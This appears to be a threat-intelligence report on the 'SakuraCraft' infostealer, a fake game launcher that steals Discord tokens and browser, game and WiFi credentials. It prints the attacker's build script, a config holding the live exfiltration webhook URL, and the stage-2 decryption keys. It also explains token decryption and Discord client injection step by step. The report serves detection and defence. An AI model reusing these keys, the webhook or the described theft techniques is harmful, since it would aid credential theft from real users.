Back to reports
mediumPhishing

SakuraCraft Infostealer — Multi-Stage Discord Token & Browser Credential Stealer

InvestigatedMarch 14, 2026PublishedMarch 14, 2026
phishingcredential-theftc2iotaptspearphishing

Kaspersky Detection: HEUR:Trojan-PSW.JS.Disco.gen | VT: 1/76 | First Seen: 2026-03-14


Executive Summary

SakuraCraft Infostealer is a sophisticated multi-stage credential theft framework distributed as a fake "SakuraCraft Launcher" game client (Electron NSIS installer, ~80 MB). The malware targets Windows gamers, stealing Discord authentication tokens, browser credentials from 60+ browsers, game session files, WiFi passwords, screenshots, and webcam images — then exfiltrating everything to a Discord webhook. A persistent Discord injector is written into the Discord client to capture future login credentials, 2FA codes, and tokens.

The threat actor operates a Hetzner VPS in Helsinki (95.217.249.153) that was left with an open directory listing on port 8080, exposing the complete build infrastructure — including the obfuscator, builder scripts, and the compiled installer. Turkish-language comments in server scripts and an author alias of "chris wilson" in build metadata provide attribution leads. The campaign's Discord infrastructure was assembled between December 2025 and March 2026.

Why it matters: Fully evasive (0/76 for stage 2, 1/76 for stage 1). Persists via Discord injection. Steals 2FA backup codes. The open C2 directory is an exceptional intelligence opportunity for infrastructure pivoting.


Sample Metadata

FieldValue
SHA25669d9013d2756b11c6b5b779d54722453857bc4f3670e2270b521ad97aef994e7
MD5a4bf3295216c9463ca1873abd382d352
SHA1edc664e00e2bd37aa5e3ffcf6182c6fda23fe2d1
Filenamepayload.js
File TypeJavaScript (Node.js)
File Size101,540 bytes (2,058 lines)
First Seen2026-03-14 03:33:59 UTC
Last Seen2026-03-14 03:35:44 UTC
Reporterzhuzhu0009
VT Detections1/76 (Kaspersky: HEUR:Trojan-PSW.JS.Disco.gen)
Tagsjavascript, long-sleeps

Stage 2: browser_stealer.py

FieldValue
SHA256ffd73363ddaf235c28bc46f47b455d4a14178f5bab79ff384bcfc6f2de0ebcc0
MD5747c79ffa2401db15cf508d24c34332a
Size (encrypted)252,549 bytes
Size (decrypted)151,143 bytes (3,957 lines)
VT Detections0/76 — fully undetected
Sourcehttp://95.217.249.153:8080/downloads/browser_stealer.py

Stage 0: NSIS Dropper (SakuraCraft Launcher)

FieldValue
FilenameSakuraCraft Launcher-Setup-5.18.23.exe
File TypePE32 NSIS installer (Nullsoft v3.04), requires administrator elevation
Size79,996,230 bytes (~76 MB, includes Node.js + Electron runtime)
Build Date2026-03-11 21:57:48 UTC
Product NameSakuraCraft Launcher
PublisherSakuraCraft
App IDcom.kjvkrg.czpozn
Electron Version30.5.1
NSIS Versionv3.04
Sourcehttp://95.217.249.153:8080/builder/dist/SakuraCraft%20Launcher-Setup-5.18.23.exe

Static Analysis

Stage 0 — NSIS Dropper (SakuraCraft Launcher-Setup-5.18.23.exe)

The installer is a standard Electron application packaged with electron-builder and wrapped in an NSIS installer. It requests administrator elevation (requireAdministrator) and installs system-wide (perMachine: true). The installer creates desktop and start menu shortcuts for "SakuraCraft" — mimicking a legitimate game launcher.

Build script (build.bat) — exposed on C2:

@echo off
set /p NEW_WEBHOOK="Enter New Discord Webhook URL: "
powershell -Command "(Get-Content payload.js) -replace 'WEBHOOK:\s*\".*?\"', 'WEBHOOK: \"!NEW_WEBHOOK!\"' | Set-Content payload.js"
cd builder
npm run build

This reveals a builder workflow: the operator enters a Discord webhook URL, it gets substituted into payload.js, then npm run build packages it via electron-builder. This is a builder kit — multiple operators can configure their own webhook and build unique samples.

Obfuscation pipeline (obfuscator.js): The raw payload.js is processed through javascript-obfuscator with AES encryption, then further protected with XOR, Base64 rotation, and a multi-layer encoding wrapper before being saved as builder/crypted.js (7.5 MB obfuscated output).

Stage 1 — payload.js (Node.js infostealer core)

Hardcoded configuration:

const CONFIG = {
    WEBHOOK: "https://canary.discord.com/api/webhooks/1479313265384358053/Xtg0Qwh_nuVuEKhOy9Ckt_r0vs9aPMdUKd6bmC72xAFl3v5cDdzarH-8_ZrTvkfZUrdF",
    FOOTER_ICON: "https://cdn.discordapp.com/attachments/1476974656446660708/1479046754099003512/image.png",
    ...
}

Module architecture:

  • Logger — writes debug.log to TEMP; flushes every 5 seconds
  • Utils — filesystem helpers, temp dir creation
  • ProcessManagertaskkill /F /IM for Discord/Steam/Epic processes
  • NetworkManager — webhook POST (axios + native fallback), file upload, file download
  • CryptoManager — DPAPI decryption (via PowerShell or datavault-win native module), AES-256-GCM browser key decryption, dQw4w9WgXcQ: token format decoding
  • ZipManager — adm-zip + PowerShell Compress-Archive fallback
  • TokenStealer — LevelDB scanning, token extraction/validation via Discord API, billing/2FA/friends/guilds enumeration
  • SessionStealer — 24 game/app session targets
  • DiscordInjector — patches discord_desktop_core/index.js
  • PythonBrowserStealer — downloads and executes stage 2
  • CompleteDataCollector — orchestrates all collection
  • WebcamCapture — PowerShell WIA COM object
  • SystemInfoCollector — screenshot, WiFi profiles
  • MainOrchestrator — entry point

Key encrypted token format: Discord tokens stored in Chromium's LevelDB are wrapped with dQw4w9WgXcQ: followed by base64-encoded AES-256-GCM ciphertext. CryptoManager.decryptToken() splits on this marker and decrypts with the browser's master key.

Browser path enumeration:

const BROWSER_PATHS = {
    DISCORD: { 'Discord', 'Discord Canary', 'Discord PTB', 'Discord Development', 'Lightcord' },
    BROWSERS: { 'Chrome', 'Chrome Beta', 'Chrome Canary', 'Chromium', 'Edge', 'Brave',
                'Opera', 'Opera GX', 'Vivaldi', 'Yandex', 'Epic Privacy', 'Firefox' }
}

Token validation: Each extracted token is validated against https://discord.com/api/v9/users/@me before exfiltration.

Exfiltration data per token (sent as Discord embed):

  • Username, discriminator, avatar
  • Account creation date
  • Phone/email presence
  • Nitro status and subscription duration badge
  • Badge flags (Discord Employee, Bug Hunter, HypeSquad, etc.)
  • Payment sources (PayPal / credit card icons)
  • 2FA status and type
  • High-value friends list (accounts with staff/nitro/verified badges)
  • Guild list
  • 2FA backup codes (attempted via /api/v9/users/@me/mfa/codes)

Session stealer targets (24 apps):

AppMethodTarget Data
SteamFile copyloginusers.vdf, config.vdf, ssfn files
MinecraftFile copylauncher_profiles.json, Lunar Client accounts.json
Epic GamesFile copyGameUserSettings.ini
Riot GamesFile copyRiotClientPrivateSettings.yaml, session data
Battle.netFile copyBattle.net.config, fingerprint
Origin/EARegex filesXML/JSON/SQLite config files
UbisoftRegex filesDAT/DB/JSON/YAML files
RobloxRegistry query + filesHKCU\Software\Roblox .ROBLOSECURITY value
RockstarRegex filesINI/DAT/JSON/XML
SpotifySubdirectory filescredentials.json, prefs
TwitchRegex filesDB/JSON/SQLite (max 10 MB)
FileZillaFile copysitemanager.xml, recentservers.xml
WinSCPRegistry exportHKCU\Software\Martin Prikryl\WinSCP 2\Sessions
PuTTYRegistry exportSessions + HostKeys
Genshin ImpactRegex filesDAT/JSON/INI
WhatsAppLevelDB files.log, .ldb (max 50 MB)
SkypeSubdirectory filesmain.db, keychain.json
ZoomFile copy + regexzoomus.conf, token, DB files
WargamingRegex filesDAT/JSON/XML
WeChatRegex filesDAT/DB/config (max 5 MB)
GuildedLevelDB files.log, .ldb
GrowtopiaFile copysave.dat

Additional collection:

  • Screenshot via PowerShell System.Windows.Forms.Screen
  • WiFi profiles via netsh wlan show profiles + key=clear
  • Webcam capture via PowerShell WIA COM object

Stage 1 — Discord Injector

After first run, the malware patches the Discord client itself by overwriting discord_desktop_core/index.js. The injected code:

  1. Intercepts ses.webRequest.onBeforeSendHeaders for Discord API URLs
  2. Captures the Authorization token from request headers
  3. Hooks /auth/login POST to capture plaintext email + password
  4. Hooks /users/@me PATCH to capture password changes and email changes
  5. Hooks /mfa/totp POST to capture 2FA codes and tickets
  6. Injects JavaScript into Discord windows to extract token via webpackChunkdiscord_app

All captured data is sent to the same Discord webhook. This creates persistent credential capture even after the initial run.

Stage 2 — browser_stealer.py (Python, AES-GCM + XOR + zlib encrypted)

Encryption scheme:

# Key derivation
master_key = base64.b64decode("l41i17wMrY+CKpS708Y4WgTDdonW0AFv" + "HBiapniap1M=")
salt = base64.b64decode("EKI5aYkP+Ce/jf1fznImfg==")
derived_key = PBKDF2(master_key, salt, dkLen=32, count=100000)  # SHA1-HMAC

# Inner decoding: AES-256-GCM → base64×4 → zlib decompress → XOR key \xd9\xd8\x48\xab\xfa\x18\x09\x97\x42\xc4\xca

Anti-analysis checks:

  • sys.gettrace() debugger detection
  • Module name check for pdb/pydevd/debugpy
  • Timing attack (1000 iterations timing check >2s → exit)
  • kernel32.IsDebuggerPresent() via ctypes
  • VM artifact detection: VMware, VirtualBox, VBOX, QEMU, Xen, HYPER-V in computer name
  • CPU count < 2 → sleep(5) before continuing
  • Self-elevates via ShellExecuteExW with runas verb if not running as admin

Browser targets (60+): Chrome, Chrome Beta, Chrome Canary, Chromium, Edge, Brave, Opera, Opera GX, Opera Crypto, Vivaldi, Yandex, Epic Privacy, Firefox, Tor Browser, and ~50 additional browsers

Data extracted per browser profile:

  • Saved passwords (URL, username, plaintext decrypted password)
  • Cookies (Netscape format)
  • Autofill data
  • Credit card details (number, expiry, cardholder name)
  • Browsing history

Output: Creates output.zip in script directory; stage 1 extracts and places All Passwords.txt and All Cookies.txt at root, browser-specific files under Browsers/<browser>/<profile>/


Infection Chain

Victim browses for game launcher / clicks malicious link
        │
        ▼
SakuraCraft Launcher-Setup-5.18.23.exe  [NSIS, ~80MB, RequireAdministrator]
        │  Installs Electron app, creates shortcuts
        ▼
crypted.js  [7.5MB obfuscated via javascript-obfuscator + AES + XOR + B64]
        │  Decoded at runtime → executes payload.js logic
        ▼
payload.js  [Node.js, 101KB, ~2K lines]
        │
        ├──► Kill: Discord.exe, DiscordCanary.exe, DiscordPTB.exe
        │    Kill: Steam.exe, Growtopia.exe, EpicGamesLauncher.exe, javaw.exe
        │
        ├──► TokenStealer
        │       ├─ Scan LevelDB: %APPDATA%\discord\*\Local Storage\leveldb\*
        │       ├─ Decrypt: CryptoManager.getEncryptionKey() → DPAPI → AES-256-GCM
        │       ├─ Decode: dQw4w9WgXcQ: format tokens
        │       ├─ Validate: GET discord.com/api/v9/users/@me
        │       └─ Enrich: billing, 2FA type, friends, guilds, badges
        │
        ├──► SystemInfoCollector
        │       ├─ Screenshot (PowerShell System.Drawing)
        │       └─ WiFi profiles (netsh wlan)
        │
        ├──► SessionStealer (24 apps)
        │       └─ Steam, Minecraft, Epic, Riot, BattleNet, Origin, Ubisoft,
        │          Roblox, Rockstar, Spotify, Twitch, FileZilla, WinSCP, PuTTY,
        │          Genshin, WhatsApp, Skype, Zoom, Wargaming, WeChat, Guilded, etc.
        │
        ├──► PythonBrowserStealer
        │       ├─ Find/install Python (system or download embed from python.org)
        │       ├─ Install pip (bootstrap.pypa.io/get-pip.py)
        │       ├─ pip install pycryptodome psutil
        │       ├─ Download browser_stealer.py from http://95.217.249.153:8080/downloads/
        │       │   [AES-GCM + b64×4 + zlib + XOR encrypted payload]
        │       ├─ Execute: anti-debug checks → elevate → extract credentials
        │       └─ Output: %TEMP%\output.zip → extract to ./Browsers/
        │
        ├──► WebcamCapture (PowerShell WIA COM)
        │
        ├──► DiscordInjector
        │       ├─ Find discord_desktop_core/index.js in %LOCALAPPDATA%\Discord*\app-*\
        │       ├─ Overwrite with injector code
        │       └─ Persistent capture: tokens, logins, password changes, 2FA codes
        │
        ├──► TokenStealer.extractBackupCodes()
        │       └─ API request /api/v9/users/@me/mfa/codes for each validated token
        │
        └──► CompleteDataCollector.zipAndSend()
                ├─ ZIP all collected data
                └─ POST to Discord webhook (canary.discord.com)
                   with token embeds + attached ZIP file

Network Indicators

C2 Server

FieldValue
IP95.217.249.153
ASNAS24940
ProviderHetzner Online GmbH
CountryFinland (Helsinki)
Netblock95.217.249.152/29 (POWERVPS-LIMITED, HOS-1119833)
OSWindows
HostnameWIN-LIVFRVQFMKO.home (OPSEC mistake)
Last Seen2026-03-13 19:05:15 UTC (Shodan)

Open ports on C2:

PortServiceDetails
25/tcpMailEnable SMTP 10.54Server: WIN-LIVFRVQFMKO.home
53/udpDNS
80/tcpMicrosoft HTTPAPI 2.0Returns 404
5985/tcpWinRMRemote management (NTLM auth)
8080/tcpPython SimpleHTTP 0.6 (Python 3.14.3)OPEN DIRECTORY — exposes full build kit
8443/tcpPlesk Obsidian 18.0.76Admin panel (IIS 10.0)
8880/tcpMicrosoft IIS 10.0Redirects to HTTPS

Exposed C2 Files (Open Directory — Port 8080)

PathDescription
/build.batBuilder workflow script (webhook substitution → npm build)
/obfuscator.jsJS obfuscation pipeline (javascript-obfuscator + AES + XOR + B64)
/payload.jsStage 1 stealer source (same as analyzed sample)
/package.jsonRoot npm metadata (javascript-obfuscator, fs-extra)
/serve_downloads.pyPython HTTP server script (Turkish language comments)
/builder/crypted.jsStage 1 obfuscated (7.5 MB)
/builder/debug_obfuscated_payload.jsDebug obfuscated version (407 KB)
/builder/package.jsonBuilder metadata: author="chris wilson", product="SakuraCraft Launcher"
/builder/build/icon.icoApplication icon
/builder/dist/SakuraCraft Launcher-Setup-5.18.23.exeLive installer (~80 MB, NSIS PE32)
/builder/dist/builder-effective-config.yamlBuild configuration
/downloads/browser_stealer.pyStage 2 encrypted Python browser stealer

Discord Exfiltration Infrastructure

IndicatorValueNotes
Webhook URLhttps://canary.discord.com/api/webhooks/1479313265384358053/...Full URL in IOCs section
Webhook ID1479313265384358053Created: 2026-03-06 03:02:46 UTC
Channel ID1476974656446660708Created: 2026-02-27 16:09:58 UTC
Discord ServerEmoji guild 1455996151861084261Created: 2025-12-31 18:48:53 UTC
Bot usernameLoggerUsername used in all webhook POSTs
Footer iconcdn.discordapp.com/attachments/1476974656446660708/1479046754099003512/image.png

Behavioral Analysis (Inferred from Static + OSINT)

  1. Initial Execution: Victim runs SakuraCraft Launcher-Setup-5.18.23.exe. NSIS installer extracts Electron app, registers start menu/desktop shortcut, runs as admin. Electron loads crypted.js.

  2. Process Termination: taskkill /F /IM kills Discord clients (to unlock LevelDB files) and game clients (Steam, Epic, Growtopia, javaw.exe).

  3. Credential Extraction: Scans browser LevelDB storage for Discord tokens. Decrypts using DPAPI (via PowerShell or native datavault-win module). Validates each token against Discord API.

  4. Data Collection: Screenshot captured via PowerShell. WiFi passwords extracted. 24 game/app session stores copied. 2FA backup codes requested for valid tokens.

  5. Python Stage Download: Attempts to find system Python; if not found, downloads Python 3.14.2 embedded from python.org, installs to %LOCALAPPDATA%\HostService\py\. Downloads browser_stealer.py from C2 port 8080.

  6. Browser Credential Theft: Encrypted Python script self-decrypts, checks for debuggers/VMs, self-elevates, kills browsers, extracts passwords/cookies/autofill/credit cards from 60+ browsers. Saves output.zip.

  7. Discord Injection (Persistence): Overwrites discord_desktop_core/index.js in every installed Discord variant. Future Discord logins, token retrievals, password changes, and 2FA events are intercepted and sent to webhook.

  8. Exfiltration: All data zipped, sent to Discord webhook as file attachment with rich embed per stolen account.


MITRE ATT&CK TTPs

Technique IDNameImplementation
T1566.002Phishing: Spearphishing LinkFake game launcher distributed link
T1204.002User Execution: Malicious FileNSIS installer execution
T1548.002Abuse Elevation Control Mechanism: Bypass UACrequireAdministrator NSIS, Python ShellExecuteExW runas
T1059.007Command and Scripting: JavaScriptElectron-wrapped Node.js payload
T1059.006Command and Scripting: PythonBrowser stealer stage 2
T1059.001Command and Scripting: PowerShellDPAPI decryption, screenshot, webcam
T1027Obfuscated Files or Informationjavascript-obfuscator, AES-GCM + XOR + zlib + base64×4
T1027.010Command ObfuscationMulti-layer encoding in browser_stealer.py
T1036Masquerading"SakuraCraft Launcher" fake game client
T1105Ingress Tool TransferDownloads Python runtime + browser_stealer.py from C2
T1055Process InjectionN/A — uses file-based Discord injection
T1082System Information DiscoveryOS info, computer name
T1083File and Directory DiscoveryScans LevelDB, browser profiles
T1057Process DiscoveryFinds browser processes to kill
T1485Data Destructiontaskkill /F on Discord/browser processes
T1555.003Credentials from Web BrowsersChrome/Edge/Firefox/60+ browsers
T1539Steal Web Session CookieNetscape cookie extraction
T1552.001Unsecured Credentials: FilesSteam, Minecraft, game session files
T1552.002Unsecured Credentials: RegistryRoblox .ROBLOSECURITY, WinSCP, PuTTY
T1056.004Input Capture: Credential API HookingDiscord injector via webRequest.onBeforeSendHeaders
T1113Screen CapturePowerShell screenshot
T1125Video CaptureWebcamCapture via WIA COM
T1016System Network Configuration DiscoveryWiFi profiles via netsh wlan
T1041Exfiltration Over C2 ChannelDiscord webhook
T1567.002Exfiltration Over Web ServiceDiscord webhook as exfiltration channel
T1553Subvert Trust ControlsNODE_TLS_REJECT_UNAUTHORIZED = '0'
T1497.001Virtualization/Sandbox Evasion: System ChecksVM name check, debugger detection, timing checks
T1622Debugger Evasionsys.gettrace(), IsDebuggerPresent(), module name checks
T1078Valid AccountsStolen Discord tokens used directly
T1176Browser ExtensionsReads Chrome/Edge extension storage

IOCs

File Hashes

Hash TypeValueFile
SHA25669d9013d2756b11c6b5b779d54722453857bc4f3670e2270b521ad97aef994e7payload.js (stage 1)
MD5a4bf3295216c9463ca1873abd382d352payload.js (stage 1)
SHA1edc664e00e2bd37aa5e3ffcf6182c6fda23fe2d1payload.js (stage 1)
SHA256ffd73363ddaf235c28bc46f47b455d4a14178f5bab79ff384bcfc6f2de0ebcc0browser_stealer.py (stage 2, encrypted)
MD5747c79ffa2401db15cf508d24c34332abrowser_stealer.py (stage 2, encrypted)

Network IOCs

TypeValueContext
IP95.217.249.153C2 server (Hetzner, Helsinki, AS24940)
URLhttp://95.217.249.153:8080/downloads/browser_stealer.pyStage 2 download
URLhttp://95.217.249.153:8080/Open directory (build kit)
URLhttps://canary.discord.com/api/webhooks/1479313265384358053/Xtg0Qwh_nuVuEKhOy9Ckt_r0vs9aPMdUKd6bmC72xAFl3v5cDdzarH-8_ZrTvkfZUrdFExfiltration webhook
Domaincanary.discord.comWebhook exfiltration endpoint
URLhttps://cdn.discordapp.com/attachments/1476974656446660708/1479046754099003512/image.pngBot avatar/footer icon

Crypto Keys & Embedded Secrets

TypeValueContext
AES Master Key (b64)l41i17wMrY+CKpS708Y4WgTDdonW0AFvHBiapniap1M=browser_stealer.py PBKDF2 master key
PBKDF2 Salt (b64)EKI5aYkP+Ce/jf1fznImfg==browser_stealer.py key derivation salt
XOR Key (hex)d9 d8 48 ab fa 18 09 97 42 c4 caInner deobfuscation in browser_stealer.py
Discord Webhook ID1479313265384358053Exfiltration endpoint identifier
Discord Channel ID1476974656446660708Exfiltration target channel

Registry Keys

KeyPurpose
HKCU\Software\Roblox\RobloxStudioBrowser\http://www.roblox.com\.ROBLOSECURITYRoblox session cookie theft
HKCU\Software\Martin Prikryl\WinSCP 2\SessionsWinSCP credential theft
HKCU\Software\SimonTatham\PuTTY\SessionsPuTTY session theft

Filesystem Artifacts

PathDescription
%TEMP%\debug.logMalware debug log
%LOCALAPPDATA%\HostService\py\python.exePersistent Python installation
%TEMP%\browser_<id>.pyTemporary browser stealer script
%TEMP%\output.zipBrowser data archive
%TEMP%\dpapi_<id>.ps1Temporary DPAPI decryption script
%TEMP%\ss_<id>.ps1Temporary screenshot script
%TEMP%\wc_<id>.ps1Temporary webcam capture script
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core-*\discord_desktop_core\index.jsInjected Discord client file

Campaign Context & Timeline

DateEvent
2025-12-31Discord server (emoji guild 1455996151861084261) created
2026-02-27Discord channel 1476974656446660708 created (exfiltration channel)
2026-03-06Discord webhook 1479313265384358053 created
2026-03-11SakuraCraft Launcher-Setup-5.18.23.exe compiled and uploaded to C2
2026-03-13Shodan last scan of C2 (ports enumerated)
2026-03-14 03:33payload.js first submitted to VirusTotal (reporter: zhuzhu0009)
2026-03-14 07:09C2 server actively serving installer (confirmed via HEAD request)

The campaign appears to be active and ongoing — the C2 server was live at analysis time with the installer still available for download.


Attribution

Confidence: MEDIUM

Evidence:

  1. Turkish-language OPSEC failure: The serve_downloads.py file on the C2 server contains developer comments exclusively in Turkish:

    • "Minimal HTTP server: .py dosyalarini tarayicida kaynak kodu olarak gosterir" (displays .py files as source in browser)
    • "Sunucu dinleniyor" (Server listening)
    • "Cikis" (Exit)
    • "Ekran goruntusundeki gibi davranir" (Behaves as in the screenshot)
  2. Author alias: package.json in the builder directory declares "author": "chris wilson" — a Western-sounding alias, likely chosen to obscure Turkish origins.

  3. Product naming: "SakuraCraft" targets the gaming community — specifically Minecraft-adjacent players who would recognize "Craft" style game names.

  4. Infrastructure OPSEC failure: Running a Python SimpleHTTP server on the C2 exposed the entire build kit at http://95.217.249.153:8080/. This included source code, build scripts, the compiled installer, and stage 2 payload.

  5. Machine hostname leak: The SMTP banner reveals the operator's machine hostname: WIN-LIVFRVQFMKO.home — a randomly generated Windows hostname typical of unmodified VPS installs.

  6. MaaS indicators: The build.bat script with interactive webhook entry suggests this may be part of a Malware-as-a-Service (MaaS) kit, where customers configure their own exfiltration endpoint.

  7. Campaign duration: Infrastructure assembled over 2.5 months (December 2025 – March 2026), suggesting a motivated actor with a clear operational plan.

Threat Actor Profile: Individual or small group, intermediate technical capability, financially motivated, Turkish-speaking, targeting gaming communities via fake game launcher distribution.


Infrastructure Map

Threat Actor (Turkish-speaking, alias: "chris wilson")
    │
    │  Operates / Develops
    ▼
95.217.249.153 (Hetzner AS24940, Helsinki, Finland)
├── :25    MailEnable SMTP 10.54 (HOSTNAME: WIN-LIVFRVQFMKO.home)
├── :53    DNS
├── :80    IIS (404)
├── :5985  WinRM (remote operator access)
├── :8080  Python SimpleHTTP 3.14.3 [OPEN DIRECTORY]
│          ├── /build.bat           ← build script
│          ├── /payload.js          ← stage 1 source
│          ├── /obfuscator.js       ← obfuscation pipeline
│          ├── /builder/crypted.js  ← obfuscated stage 1 (7.5MB)
│          ├── /builder/dist/       ← compiled installers
│          │    └── SakuraCraft Launcher-Setup-5.18.23.exe
│          └── /downloads/
│               └── browser_stealer.py  ← stage 2 (AES+XOR encrypted)
└── :8443  Plesk Obsidian 18.0.76 (web hosting panel)

    │  Downloads
    ▼
Victim Machine (Windows, gamer)
    │
    ├── SakuraCraft Launcher-Setup-5.18.23.exe (NSIS, ~80MB)
    │   └── crypted.js → payload.js (Node.js via Electron 30.5.1)
    │       ├── Steals Discord tokens (LevelDB scan + DPAPI)
    │       ├── Downloads browser_stealer.py from C2:8080
    │       ├── Steals 60+ browser creds (Python)
    │       ├── Steals 24 game/app sessions
    │       ├── Screenshots + webcam
    │       ├── WiFi passwords
    │       └── Injects Discord client (persistent)
    │
    │  Exfiltrates via
    ▼
Discord Canary Webhook
    Server created: 2025-12-31
    Channel created: 2026-02-27
    Webhook created: 2026-03-06
    Webhook ID: 1479313265384358053
    Channel: 1476974656446660708

Detection Guidance

Endpoint

  1. File monitoring: Alert on writes to discord_desktop_core/index.js by non-Discord processes
  2. Process creation: Alert on powershell.exe spawned from Electron.exe or node.exe
  3. Network: Alert on outbound HTTP to 95.217.249.153:8080
  4. Registry: Alert on reg export of HKCU\Software\Martin Prikryl or HKCU\Software\SimonTatham
  5. File path: Alert on %LOCALAPPDATA%\HostService\py\python.exe creation
  6. Process kill: Alert on mass taskkill /F targeting Discord.exe, Steam.exe in sequence

Network

  • Block 95.217.249.153 (all ports)
  • Block/alert Discord webhook POSTs with "username":"Logger" in body
  • Alert on POST to canary.discord.com/api/webhooks/1479313265384358053/
  • Alert on downloads from python.org embed zips from non-admin contexts
  • Alert on outbound bootstrap.pypa.io/get-pip.py fetches

YARA / Signature

See yara_rules.yar for six rules targeting stage 1, stage 2, and the installer.

Network Detection (Suricata)

See suricata.rules for 18 network detection rules.


Report generated by GHOST — Breakglass Intelligence | 2026-03-14 Classification: TLP:WHITE — Freely shareable

Share